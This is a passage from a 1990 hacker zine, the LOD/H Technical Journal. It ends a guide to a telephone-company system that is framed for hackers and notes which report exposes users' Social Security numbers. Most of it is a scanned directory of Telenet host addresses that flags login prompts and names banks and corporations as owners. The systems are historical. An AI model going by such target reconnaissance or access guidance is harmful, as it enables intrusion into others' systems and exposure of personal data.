totally spelled out for you.
|
||
|
||
Another useful report is REPORT 90- Data Access Log. It is called up
|
||
by typing:
|
||
|
||
FLD> REPORT 90 <cr>
|
||
Date Range? 04/06/90-04/08/90
|
||
|
||
The system then kicks out all users that used the SCOPE command on
|
||
other users. The system prints out the users full name and actual USER ID
|
||
and who the user scoped including the scoped-user's Social Security number.
|
||
|
||
THE OFFICE:
|
||
|
||
When you are prompted that you should check your messages you should
|
||
do so immediately before any work is done in BMOSS. First you must go to
|
||
your office which is done by selecting OFF from the FLD> identifier.
|
||
Once this is done your FLD> prompt will change to a OFF> prompt. Typing
|
||
HELP will give you the available HELP commands for the office.
|
||
|
||
To check the messages type in:
|
||
|
||
OFF> STATUS <cr>
|
||
|
||
BMOSS will reply with the following: (example)
|
||
|
||
Memo From User Subject Status
|
||
-------------- ------------------ ---------------------- ---
|
||
IPAAA 04/01/90 Wile E Coyote Current Task Info OUT
|
||
BNAAA 04/02/90 Susie B Hott Last Saturday Night IN
|
||
|
||
The user then sees he has a memo from his boss about his current
|
||
tasks and a memo from his co-worker/seductress Susie B. Hott. Fuck his
|
||
boss, he wants to read what Susie has to say. So you type in:
|
||
|
||
OFF> PRINT BNAAA <cr>
|
||
|
||
|
||
--- MEMO ---
|
||
Date: 04/02/90
|
||
Time: 08:11
|
||
|
||
From: Susie B Hott
|
||
To: Legion Of Doom
|
||
|
||
Subject: Last Saturday Night
|
||
|
||
LOD, I really enjoyed last saturday night. We must do it again.
|
||
Give me a call soon, 555-WETT.
|
||
** Susie
|
||
|
||
|
||
A useful command is a list of OFFICE users. This gives you another
|
||
listing of user's Full-Name/ID combinations. Get this by typing:
|
||
|
||
OFF> USERS <cr>
|
||
|
||
It will then print out the users who are in the Electronic Office
|
||
database.
|
||
|
||
CONCLUSION:
|
||
|
||
You can get HELP from anywhere just by typing HELP from the prompt.
|
||
Or if you need specific information about a function type in HELP then
|
||
the function name. Such as:
|
||
|
||
FLD> HELP REPORT (This gives you options/help on the REPORT command)
|
||
|
||
BMOSS can be used for a large amount of purposes for the
|
||
hacker/trasher. Even though it doesn't have any really powerful
|
||
commands to self-destruct the telephone company it can be used to access
|
||
other building's trash, and other things that may interest you.
|
||
|
||
______________________
|
||
( Spherical Aberration )
|
||
The LOD/H Technical Journal, Issue #4: File #08 of 10
|
||
|
||
The Legion Of Hackers Present:
|
||
Updated: Telenet Directory
|
||
Part A: Addresses 201XXX to 424XXX
|
||
Revision #5 Last Updated: 2/10/90
|
||
(Includes Mnemonic Host Names)
|
||
|
||
Scanned and Written by:
|
||
Erik Bloodaxe
|
||
|
||
INTRODUCTION:
|
||
-------------
|
||
|
||
It has been some time since our last update. Our old list (Revision #4) has
|
||
been distributed to those in the United States and internationally thanks to
|
||
the widespread use of the PSS network. For this reason we are including the
|
||
format for converting this 'local' address list into accessible hosts using
|
||
the standard scheme for telenet when accessed from 'foreign' networks.
|
||
|
||
For example, the local address: 20114 is 031102010001400 using the standard
|
||
format. 3110 is the DNIC (Data Network Identifier Code) for USS Telenet
|
||
and the zero preceding it is needed to make it clear to the foreign
|
||
network that the NUA (Network User Address) is a non-local address. Another
|
||
example, the local address is 203155 would be: 031102030015500 thus: 0DNIC NPA
|
||
00 XXX YY NPA is the area-code prefix (this is not necessarily an area code),
|
||
XXX is the sub-address and YY is the port which is usually 00.
|
||
For those unfamiliar with Telenet addressing, it generally follows the format
|
||
of grouping hosts into area codes. Thus, our directory is grouped accordingly.
|
||
There are 'non-standard' address prefixes which are rather obscure. These
|
||
commonly are owned by the same company or organization, whereas the area code
|
||
format contains hosts from many companies or organizations. The state an area
|
||
code resides is also listed to give you an idea of its location.
|
||
I have also included Telenet commands, mnemonic addresses, a somewhat current
|
||
list of pc-pursuit dialers, and a few things to consider for the would-be
|
||
Telenet scanner.
|
||
|
||
NOTES:
|
||
|
||
When accessing telenet from abroad, ignore the '$' after the address. This
|
||
denotes to users of the USA that an NUI (Network User ID) is required due to
|
||
the host not accepting collect charges for the connection.
|
||
|
||
Addresses preceded by a * refuse collect connections, but I was
|
||
unable to connect with them to determine what they were.
|
||
|
||
Addresses that have no comments next to them either hang up upon connection,
|
||
or I was unable to evoke any response from them.
|
||
|
||
Due to its immense size, this directory has been presented in a 'rougher' form
|
||
than our previous ones. The time to make it look 'pretty' was determined to
|
||
not be worth the effort.
|
||
|
||
|
||
TELENET COMMANDS
|
||
----------------
|
||
|
||
Most commands are listed in their four character form, however,
|
||
some may be abbreviated to merely one character (ie. C & D).
|
||
|
||
CONN Allows user to connect to a specified host
|
||
DISA ECHO
|
||
DISA FLOW
|
||
DISA TFLO
|
||
DISC Disconnect from current host
|
||
DTAPE ?
|
||
ENAB ECHO
|
||
ENAB FLOW
|
||
ENAB TFLO
|
||
FULL Full duplex
|
||
HANG Hang up port
|
||
HALF Half duplex
|
||
MAIL Telemail service
|
||
PAR Set parameters as specified
|
||
PAR? Shows current parameter settings
|
||
RESE Resets the node to inactive
|
||
RST Sets parameters of remote host as specified
|
||
RST? Shows current parameters of remote host
|
||
SET Same as PAR
|
||
SET? Same as PAR?
|
||
STAT Shows current port
|
||
TAPE ?
|
||
TELE Telemail service
|
||
TEST CHAR Test of all ascii characters
|
||
TEST ECHO Test which echos all characters typed
|
||
TEST TRIA Test which makes repeating triangle
|
||
TEST VERS Shows current pad software version
|
||
|
||
The default command is CONN, so if an address is entered at the
|
||
'@' prompt, an attempt will be made to connect to that address.
|
||
|
||
A connection attempt may be aborted by sending a break signal.
|
||
This will put you back to the '@' prompt.
|
||
|
||
To return to the '@' prompt from an established connection the
|
||
user must type '@' followed by carriage return.
|
||
|
||
Normal 300/1200 users awaken the pad with two carriage returns.
|
||
2400 baud users must type '@' then carriage return.
|
||
|
||
To awaken the pad in the Uninet format, type: carriage return,
|
||
period, then carriage return (upon initial connection).
|
||
|
||
To find the telenet dialup nearest your location, call 800-424-
|
||
9494 at 300/1200 baud. At the '@' prompt, type 'MAIL'. Enter
|
||
user name 'PHONES' with password 'PHONES'.
|
||
|
||
|
||
TELENET DIRECTORY
|
||
-----------------
|
||
|
||
201--NEW JERSEY--ADDRESSES SCANNED: 0-2000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 1 PC Pursuit Dialer (1200)
|
||
14 WELCOME, NAME OR #?
|
||
15 " "
|
||
$ 20 VM/370
|
||
$ 22 PC Pursuit Dialer (2400)
|
||
* 23
|
||
25 WELCOME, NAME OR #?
|
||
32 D&B
|
||
$ 34 PRIME MWH
|
||
$ 35 PRIME
|
||
45 NEWSNET
|
||
$ 49 VAX
|
||
50 UNIX Interet
|
||
$ 51 PRIME USCGB
|
||
53 Colgates IICS
|
||
$ 55 PRIME USCGB
|
||
$ 66 PRIME SYS001
|
||
67 Warner Computer Systems
|
||
68 " "
|
||
69 " "
|
||
74 enter class
|
||
83 ENTER ID:
|
||
84 D&B
|
||
86 D&B
|
||
88 D&B
|
||
89 VM/370
|
||
$ 129a
|
||
138 HP-3000
|
||
* 140
|
||
146 HP-3000
|
||
149 VAX
|
||
* 150
|
||
156 UNIX Securities Data Company
|
||
159a
|
||
163 VU/TEXT
|
||
164 VU/TEXT
|
||
166 VM/370 New Jersey Educational Net
|
||
171 >>
|
||
172 >>
|
||
173
|
||
200 D&B
|
||
201 D&B
|
||
220 VAX Investment Technologies
|
||
225 VAX " "
|
||
$ 241
|
||
242 D&B
|
||
243 D&B
|
||
244 D&B
|
||
246 D&B
|
||
249 password required
|
||
* 251
|
||
252 PRIME
|
||
259 VAX CCMI/McGraw Hill
|
||
* 260
|
||
$ 301 PC Pursuit Dialer (1200)
|
||
334 TINTON1
|
||
* 336
|
||
$ 350 Concurrent Computer Corp
|
||
353 enter switch characters
|
||
$ 355 Concurrent Computer Corp
|
||
359 Telenet Async to 3270
|
||
367
|
||
* 371
|
||
* 379
|
||
453 Telenet Async to 3270
|
||
454a Telenet Async to 3270
|
||
$ 458 ENTER REQUEST
|
||
$ 459 "
|
||
461 VAX
|
||
463a Telenet Async to 3270
|
||
470 Decserver
|
||
$ 472 MHP201A
|
||
476 X.29 Password:
|
||
477 Please enter logon cmd
|
||
$ 478 MHP205A
|
||
479 Please enter logon cmd
|
||
520 Enter Access ID:
|
||
521 Bankers Trust Online
|
||
522 VAX NYBTRP
|
||
* 548
|
||
586 Dow Jones News Retrieval
|
||
587 " "
|
||
589 " "
|
||
604 Lipton Network
|
||
700 HP-3000
|
||
702 TOPS-20 CEI
|
||
722 INSCI/90
|
||
730 "
|
||
751 "
|
||
752 "
|
||
770 "
|
||
792 "
|
||
799
|
||
830 INSCI/90
|
||
841 "
|
||
850
|
||
870 INSCI/90
|
||
890 "
|
||
895 "
|
||
899
|
||
910 INSCI/90
|
||
912 "
|
||
914 "
|
||
916
|
||
918 INSCI/90
|
||
940 "
|
||
950 Bankers Trust Online
|
||
951 " "
|
||
952 " "
|
||
953 " "
|
||
954 " "
|
||
955 " "
|
||
956 " "
|
||
957 " "
|
||
958 " "
|
||
959 " "
|
||
999
|
||
1025
|
||
1051 VU/TEXT
|
||
1052 "
|
||
1053 "
|
||
1054 "
|
||
1055 "
|
||
1056 "
|
||
1057 "
|
||
1058 "
|
||
1059 "
|
||
1060 "
|
||
1061 "
|
||
1062 "
|
||
1063 "
|
||
1064 "
|
||
1065 "
|
||
1066 "
|
||
1067 "
|
||
1068 "
|
||
1069 "
|
||
1075 "
|
||
1076 "
|
||
1077 "
|
||
1078 "
|
||
1079 "
|
||
|
||
|
||
202--WASHINGTON D.C.--ADRESSES SCANNED: 0-800
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
10 PRIME
|
||
31 VAX News Machine
|
||
$ 36 Network Sign-on Failed
|
||
$ 38 "
|
||
$ 47 VAX
|
||
* 48
|
||
49 ENTER SYSTEM ID--
|
||
$ 115 PC Pursuit Dialer (300)
|
||
$ 116 PC Pursuit Dialer (1200)
|
||
$ 117 PC Pursuit Dialer (2400)
|
||
* 123
|
||
132 VAX
|
||
133 BA
|
||
134 BA
|
||
$ 138 VAX Gallaudet University
|
||
$ 139 DEC-10
|
||
141 PRIME Telemail
|
||
142 PRIME Telemail
|
||
$ 149
|
||
150 VAX IDR
|
||
* 151
|
||
$ 154 Telenet Async to 3270
|
||
$ 155a Telenet Async to 3270
|
||
$ 156 VAX American Psychiatric Assn
|
||
* 157
|
||
161 UNIX pac
|
||
162 enter user id-
|
||
$ 165 HP-3000
|
||
$ 166 VAX
|
||
201 Host Name:
|
||
202
|
||
203 USER ID:
|
||
214 PRIME SPA
|
||
217
|
||
* 224
|
||
* 230
|
||
232a
|
||
$ 235 PRIME AMSC
|
||
$ 239 PRIME AMSA
|
||
* 241
|
||
* 242
|
||
* 243
|
||
245 AOS
|
||
* 253
|
||
* 254
|
||
255 Morgan Stanley Network
|
||
* 258
|
||
* 260
|
||
* 265
|
||
* 266
|
||
* 275
|
||
* 276
|
||
* 277
|
||
$ 278 USER ID
|
||
308 PRIME
|
||
309 PRIME
|
||
312 PRIME
|
||
* 330
|
||
* 331
|
||
* 332
|
||
* 333
|
||
* 334
|
||
* 335
|
||
336 VAX Congressional Quarterly
|
||
337 VAX "
|
||
$ 343 PRIME OT
|
||
360 HP-3000
|
||
361
|
||
362
|
||
* 364
|
||
365 LEXIS/NEXIS
|
||
366 "
|
||
367 "
|
||
* 371
|
||
* 372
|
||
* 373
|
||
* 377
|
||
$ 390 #Connect Requested
|
||
$ 391 "
|
||
* 403
|
||
430 >
|
||
* 433
|
||
* 434
|
||
439 Institute of Nuclear Power
|
||
440 "
|
||
441 "
|
||
442 you are now connected
|
||
444 Institute of Nuclear Power
|
||
$ 455
|
||
456
|
||
457
|
||
458
|
||
$ 462
|
||
$ 463
|
||
465
|
||
466
|
||
467
|
||
469
|
||
470
|
||
472
|
||
$ 473
|
||
$ 474
|
||
$ 475
|
||
$ 532 VAX
|
||
$ 535 AOS
|
||
* 536
|
||
* 652
|
||
* 653
|
||
* 654
|
||
693 HP-3000 MPE XL
|
||
709
|
||
710
|
||
711
|
||
712
|
||
810 Telenet Async to 3270
|
||
811a Telenet Async to 3270
|
||
1180 INVALID-SW-CHARACTERS
|
||
1181
|
||
1182 NCR Comten
|
||
|
||
|
||
|
||
203--CONNECTICUT--ADDRESSES SCANNED: 0-600
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
22 VM/370
|
||
* 57
|
||
$ 60 HP-3000
|
||
66 Login Please:
|
||
72 HP-3000
|
||
73a Password:
|
||
75 VAX
|
||
$ 105 PC Pursuit Dialer (2400)
|
||
$ 120 PC Pursuit Dialer (300)
|
||
$ 121 PC Pursuit Dialer (1200)
|
||
$ 132 VAX
|
||
* 135
|
||
136 PRIME SYSA
|
||
$ 140 ID
|
||
165 Telekurs USA
|
||
* 230
|
||
* 231
|
||
304 HP-3000
|
||
$ 305 Name?
|
||
307 HP-3000
|
||
310
|
||
* 311
|
||
* 331
|
||
* 332
|
||
* 501
|
||
602 DESTINATION?
|
||
|
||
|
||
205--ALABAMA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 30
|
||
$ 33 ID
|
||
* 34
|
||
* 36
|
||
$ 73 PRIME ALABMA
|
||
* 137
|
||
$ 145 HP-3000
|
||
|
||
|
||
206--WASHINGTON--ADDRESSES SCANNED: 0-1000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 HP-3000
|
||
$ 30 HP-3000
|
||
32 VAX
|
||
$ 35 DMOLNCT
|
||
$ 38 AOS
|
||
$ 40 PRIME P6350
|
||
$ 42 AOS
|
||
$ 44 AOS
|
||
$ 50 AOS
|
||
53
|
||
$ 57 AOS
|
||
65 PRIME OAD
|
||
$ 131 AOS
|
||
$ 132 VAX ETA-RX
|
||
$ 135 AOS
|
||
137a Boeing msg switch
|
||
$ 138 USSMSG2
|
||
$ 139 WANG VS SECURITIES (FRS)
|
||
$ 141 AOS
|
||
$ 145 AOS
|
||
$ 146 PRIME SEATLE
|
||
$ 147 AOS
|
||
* 150
|
||
$ 160 AOS
|
||
$ 161 AOS
|
||
175a Boeing test
|
||
$ 205 PC Pursuit Dialer (300)
|
||
$ 206 PC Pursuit Dialer (1200)
|
||
207a
|
||
$ 208 PC Pursuit Dialer (2400)
|
||
$ 250 WANG VS SYSTEM ONE (FRC)
|
||
$ 251 WANG VS SYSTEM TWO (TACOMA)
|
||
$ 338
|
||
$ 357 HP-3000
|
||
$ 430 Environmental Ctrl Monitor
|
||
439 bcs network
|
||
440 NOS Boeing
|
||
447 NOS Boeing
|
||
448 bcs network
|
||
449 VM/370
|
||
|
||
|
||
207--MAINE--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 51
|
||
|
||
|
||
208--IDAHO--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 42 AOS
|
||
$ 43 AOS
|
||
$ 56 AOS
|
||
$ 131 AOS
|
||
$ 134 AOS
|
||
$ 135 AOS
|
||
$ 136 AOS
|
||
$ 137 AOS
|
||
$ 140 AOS
|
||
$ 141 AOS
|
||
* 150
|
||
$ 152 AOS
|
||
|
||
|
||
209--CALIFORNIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 AOS
|
||
* 33
|
||
* 34
|
||
|
||
|
||
211--DUN & BRADSTREET--ADDRESSES SCANNED: 0-100/1000-2000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
1140
|
||
1142
|
||
1145 Dun & Bradstreet Terminal
|
||
1190 " "
|
||
1195 " "
|
||
1240 " "
|
||
1244 " "
|
||
1290 " "
|
||
1291 " "
|
||
1295 " "
|
||
1390 " "
|
||
1391 " "
|
||
1392 PRIME
|
||
1396 Dun & Bradstreet Terminal
|
||
1490 PRIME
|
||
1491 Dun & Bradstreet Terminal
|
||
1492 " "
|
||
1493 " "
|
||
1494 " "
|
||
1540 " "
|
||
1591 " "
|
||
1594 " "
|
||
1594 " "
|
||
1640 " "
|
||
1690 " "
|
||
1693 " "
|
||
2140 CCS Online
|
||
2141 CCS Online
|
||
2142 VM/370
|
||
2143 sls1
|
||
2145 VM/370
|
||
2150 PRIME
|
||
2151 fsd2
|
||
2152 socy
|
||
2153 css3
|
||
2154 CCS Online
|
||
2155 CCS Online
|
||
2156 ecl1
|
||
2157 tbs1
|
||
2158 dbc1
|
||
2159 exx2
|
||
2160 nyt2
|
||
2162 css1
|
||
2163 css2
|
||
2164 bofa
|
||
2165 soc1
|
||
2166 soc2
|
||
2167 socx
|
||
2168 soc3
|
||
2169 soca
|
||
2170 socb
|
||
2171 socc
|
||
2172 dnb1
|
||
2173 mdy2
|
||
2174 koln
|
||
2175 fsd1
|
||
2176 ptts
|
||
2177 has1
|
||
2178 has3
|
||
2179 levi
|
||
2180 nyt1
|
||
2181 pers
|
||
2182 risk
|
||
2183 usc1
|
||
2184 cids
|
||
2185 zyt1
|
||
2186 inel
|
||
2187 fop1
|
||
2188 kbm1
|
||
2189 kbm2
|
||
2190 kbm3
|
||
2191 kbm4
|
||
2192 sls1
|
||
2193 mdy1
|
||
2194 ira1
|
||
2195 ira2
|
||
2196 why1
|
||
2197 ndg1
|
||
2198 lit1
|
||
2450 PRIME
|
||
3141 IDC/370
|
||
6140 OAG
|
||
|
||
|
||
212--NYC-BRONX & MANHATTAN--ADDRESSES SCANNED: 0-1200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 11 PLEASE BEGIN
|
||
$ 28 PC Pursuit Dialer (2400)
|
||
31 VM/370
|
||
* 34
|
||
39 PRIME IDDD
|
||
40 PLEASE ENTER /LOGIN
|
||
* 48
|
||
$ 52 PRIME SYSA
|
||
$ 73 USS00
|
||
74 VM/370
|
||
79 ENTER ID:
|
||
* 85
|
||
* 86
|
||
$ 99 HP-3000
|
||
105 ****INVALID SIGNON
|
||
106 "
|
||
108 "
|
||
109 "
|
||
110 "
|
||
112 VM/370
|
||
$ 124 VAX
|
||
131 VM/370
|
||
* 132
|
||
* 135
|
||
137 PRIME NY60
|
||
141 PRIME Telemail
|
||
142 PRIME "
|
||
145 ENTER ACCESS ID:
|
||
146 "
|
||
* 149
|
||
152 VAX
|
||
$ 154 PRIME NYORK
|
||
* 157
|
||
* 158
|
||
* 160
|
||
$ 167 PRIME MPISBS
|
||
170 Information Services Net
|
||
172 "
|
||
$ 173 Brown Brothers
|
||
174 Information Services Net
|
||
* 197
|
||
200 ENTER IDENTIFICATION:
|
||
216 Bank of New York
|
||
226 USER ID
|
||
231 VM/370
|
||
$ 235 PRIME JAMACA
|
||
237 TIMEINC NYK
|
||
238
|
||
246 VAX UniTraC
|
||
248 PRIME RYE
|
||
* 249
|
||
* 255
|
||
* 256
|
||
$ 257 BANAMEX Data Network
|
||
258 ENTER ACCESS ID:
|
||
$ 259 VAX BTNET
|
||
260 Bankers Trust Online
|
||
263 VAX
|
||
266 UNIX
|
||
267 UNIX
|
||
$ 271 :
|
||
* 273
|
||
$ 274 INVALID INPUT
|
||
275 Bankers Trust Online
|
||
* 278
|
||
* 279
|
||
* 306
|
||
$ 315 PC Pursuit Dialer (1200)
|
||
320 ENTER IDENTIFICATION
|
||
321 "
|
||
$ 322 COMMAND UNRECOGNIZED
|
||
* 326
|
||
328 ENTER IDENTIFICATION
|
||
* 336
|
||
345 PRIME NMSG
|
||
$ 350 VTAM002
|
||
$ 351 "
|
||
* 352
|
||
* 354
|
||
359
|
||
376 Bankers Trust Online
|
||
377 "
|
||
378 "
|
||
379 "
|
||
* 432
|
||
433 VAX
|
||
443 VAX
|
||
444 PRIME EMCO
|
||
$ 446 VAX
|
||
449 VM/370
|
||
446
|
||
468
|
||
479 Invalid Login Attempt
|
||
* 496
|
||
* 497
|
||
500 enter a for astra
|
||
501 "
|
||
502 "
|
||
503 "
|
||
504 "
|
||
505 "
|
||
506 "
|
||
507 "
|
||
535 TIMEINC NYK
|
||
536 "
|
||
537 "
|
||
539 VOS
|
||
$ 540 VAX Client Videotext Server
|
||
$ 541 VAX "
|
||
544 TIMEINC NYK
|
||
545 "
|
||
$ 546 APLICACO:
|
||
$ 548 PRIME TREPP1
|
||
552 TIMEINC NYK
|
||
553 "
|
||
554 "
|
||
566 "
|
||
567 "
|
||
* 576
|
||
577 Telenet Async to 3270
|
||
579a Telenet Async to 3270
|
||
580
|
||
615 Shearson Lehman Hutton
|
||
631
|
||
649 WANG VS
|
||
693
|
||
702
|
||
713 PRIME NY60
|
||
$ 726 VAX
|
||
$ 737 FINLAY FINE JEWELRY
|
||
$ 752 "
|
||
$ 753 "
|
||
755 VM/370
|
||
* 768
|
||
935
|
||
* 970
|
||
* 971
|
||
* 972
|
||
* 973
|
||
* 974
|
||
* 975
|
||
* 976
|
||
* 977
|
||
* 978
|
||
* 979
|
||
981 UNIX
|
||
* 1009
|
||
* 1031
|
||
1034
|
||
1036
|
||
1039
|
||
* 1040
|
||
$ 1045 HP-3000
|
||
1049 MHP201A
|
||
1052 PRIME FTC0
|
||
1069 VAX
|
||
$ 1071 GS/1
|
||
$ 1072 GS/1
|
||
* 1074
|
||
* 1075
|
||
|
||
|
||
213--CALIFORNIA--ADDRESSES SCANNED: 0-1200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
21 PRIME C6
|
||
22 PRIME D6
|
||
* 23
|
||
24 Marketron Research
|
||
25
|
||
33
|
||
35 Marketron Research
|
||
40 PRIME A6
|
||
* 41
|
||
44
|
||
* 45
|
||
51
|
||
$ 52 PRIME AIS8
|
||
* 54
|
||
* 57
|
||
58 PRIME ACSI
|
||
79 UNIX Interactive Systems
|
||
88 PRIME MSCOST
|
||
$ 92a
|
||
102 PRIME TRWE.A
|
||
$ 103 PC Pursuit Dialer (1200)
|
||
105 PRIME SWOP
|
||
$ 113
|
||
118 VAX
|
||
121 PRIME SWWE1
|
||
122 PRIME TRNGW2
|
||
123 PRIME SWWA1
|
||
124 PRIME CS.CAR
|
||
125 PRIME SWLAR
|
||
126 HP-3000
|
||
128 PRIME CS.SD
|
||
$ 143 HP-3000 ANA Trading Corporation
|
||
* 144
|
||
151 PRIME CSSWR1
|
||
153 PRIME SWLA1
|
||
154 PRIME SWWCR
|
||
155 PRIME CS.LA
|
||
$ 166 BW/IP International Inc.
|
||
* 169
|
||
172a
|
||
$ 176 AOS
|
||
* 178
|
||
199 PRIME C6
|
||
219
|
||
220 Telenet Async to 3270
|
||
221a Telenet Async to 3270
|
||
227a
|
||
* 249
|
||
* 250
|
||
* 252
|
||
* 255
|
||
* 256
|
||
* 257
|
||
260 Telenet Async to 3270
|
||
261a Telenet Async to 3270
|
||
* 336
|
||
$ 338 HP-3000
|
||
340 PRIME TRNGW
|
||
342 PRIME SWLB1
|
||
347
|
||
* 361
|
||
$ 369 PRIME LA
|
||
* 371
|
||
374 Telenet Async to 3270
|
||
375a Telenet Async to 3270
|
||
$ 412 PC Pursuit Dialer (1200)
|
||
$ 413 PC Pursuit Dialer (2400)
|
||
* 464
|
||
485a
|
||
488a
|
||
* 1041
|
||
* 1043
|
||
1403 COMPUTAX
|
||
1404 COMPUTAX
|
||
|
||
|
||
214--TEXAS--ADDRESSES SCANNED: 0-1200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
17 Teleview
|
||
20 US Sprint
|
||
21 Teleview
|
||
* 22
|
||
42 DNA Online
|
||
* 48
|
||
* 53
|
||
60 HP-3000
|
||
$ 62 PRIME TRUSWL
|
||
* 65
|
||
71 PRIME UCCC
|
||
76 CYBER PCC
|
||
77 PRIME UCCC
|
||
94a
|
||
$ 117 PC Pursuit Dialer (300)
|
||
$ 118 PC Pursuit Dialer (1200)
|
||
120
|
||
131 HP-3000
|
||
152 HP-3000
|
||
156 HP-3000
|
||
* 157
|
||
159a C@
|
||
160a C@
|
||
168 HP-3000
|
||
169 HP-3000
|
||
176a PRIME UCCC
|
||
177 HL053-TRAN
|
||
231
|
||
233
|
||
236a
|
||
240 VAX HQAAFES
|
||
242 TACL 1>
|
||
* 250
|
||
* 252
|
||
* 253
|
||
* 254
|
||
* 255
|
||
* 256
|
||
* 257
|
||
* 258
|
||
* 259
|
||
* 261
|
||
* 262
|
||
* 263
|
||
* 264
|
||
* 265
|
||
* 266
|
||
* 267
|
||
* 268
|
||
* 269
|
||
* 270
|
||
* 279
|
||
341 PRIME BNW
|
||
342 PRIME GCAD..
|
||
* 373
|
||
* 530
|
||
* 531
|
||
* 532
|
||
* 533
|
||
* 534
|
||
* 535
|
||
* 536
|
||
* 537
|
||
* 538
|
||
* 539
|
||
607 HP-3000
|
||
|
||
|
||
215--PENNSYLVANIA--ADDRESSES SCANNED: 0-400
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 5 PC Pursuit Dialer (300)
|
||
$ 22 PC Pursuit Dialer (2400)
|
||
* 30
|
||
$ 32 AOS
|
||
$ 35 IMS AMERICA
|
||
40 VU/TEXT
|
||
$ 45 IMS AMERICA
|
||
49 Telebase Systems
|
||
* 50
|
||
* 54
|
||
* 60
|
||
66 Newsnet
|
||
74
|
||
92a
|
||
$ 112 PC Pursuit Dialer (1200)
|
||
121 Towers Perrin Online
|
||
* 132
|
||
135 VU/TEXT
|
||
136 DSS::15B1
|
||
137
|
||
140 VU/TEXT
|
||
$ 148 Weston's Computer Center
|
||
$ 156 Telenet Async to 3270
|
||
$ 157a Telener Async to 3270
|
||
$ 234
|
||
235 HP-3000
|
||
262 Data Mail
|
||
264 ?
|
||
265 "
|
||
266 "
|
||
267 "
|
||
268 "
|
||
269 PRIME
|
||
* 350
|
||
* 360
|
||
$ 361 HP-3000
|
||
|
||
|
||
216--OHIO--ADDRESSES SCANNED: 0-400
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 PC Pursuit Dialer (300)
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
$ 30 MRI CICS H0C3
|
||
* 31
|
||
$ 32 MRI CICS H0C3
|
||
$ 34 PRIME SH.US
|
||
$ 35
|
||
* 51
|
||
* 55
|
||
* 57
|
||
* 59
|
||
$ 60 MHP201A
|
||
66 Newsnet
|
||
$ 74 HP-3000
|
||
109a
|
||
* 115
|
||
$ 120 PC Pursuit Dialer (2400)
|
||
* 125
|
||
* 134
|
||
* 135
|
||
* 138
|
||
$ 144 U#=
|
||
163
|
||
* 178
|
||
|
||
|
||
217--ILLINIOS--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
25 UNIX University of Illinois
|
||
26 UNIX University of Illinois
|
||
$ 35 VAX NCSA VMSA
|
||
$ 39 ID
|
||
$ 40
|
||
$ 41 PRIME SPRFLD
|
||
|
||
|
||
218--MINNESOTA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 38 AOS
|
||
$ 39 AOS
|
||
* 40
|
||
$ 42 AOS
|
||
$ 45 AOS
|
||
$ 56 AOS
|
||
$ 142 AOS
|
||
$ 157 AOS
|
||
|
||
|
||
219--INDIANA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
4 PRIME NODE.1
|
||
5 PRIME NODE.2
|
||
6 PRIME NODE.4
|
||
7 PRIME NODE.5
|
||
8 PRIME NODE.8
|
||
9 N1127p3 ENTER GROUP NAME>
|
||
10 Lincoln National Corp.
|
||
* 50
|
||
|
||
|
||
222--UNKNOWN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
100 PRIME
|
||
301a C@
|
||
401a C@
|
||
|
||
|
||
223--CITIBANK--ADDRESSES SCANNED: 0-300/1000-3000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 1
|
||
$ 2 VAX CRIS
|
||
10 PRIME
|
||
* 15
|
||
19 HP-3000
|
||
26 GS/1 IBISM Electronic Village
|
||
30 VAX Citi Treasury Products
|
||
31 INVALID FORMAT
|
||
32 enter a for astra
|
||
* 34
|
||
35 VAX Citi Treasury Products
|
||
39 HRINFO NETWORK
|
||
40 VAX Global Report
|
||
46 CICS PPD Communications Network
|
||
47 CICS PPD Connunications Network
|
||
48 Citibank NY port CBN2
|
||
49 Online Manual
|
||
50 PRIME
|
||
55 PRIME WINMIS
|
||
61 VAX Global Report
|
||
63 VAX Global Report
|
||
65 System/88
|
||
$ 68 Citimail II
|
||
